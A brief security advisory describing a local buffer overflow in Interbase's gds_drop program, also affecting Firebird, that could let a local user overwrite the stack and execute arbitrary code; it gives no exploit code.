Interbase is a database distributed and maintained by Borland. It is available for Unix and Linux operating systems.
 
A buffer overflow has been discovered in the gds_drop program packaged with Interbase. This problem could allow a local user to execute the program with strings of arbitrary length. By using a custom crafted string, the attacker could overwrite stack memory, including the return address of a function, and potentially execute arbitrary code.
 
Firebird is based on Borland/Inprise Interbase source code and is therefore also prone to this issue.
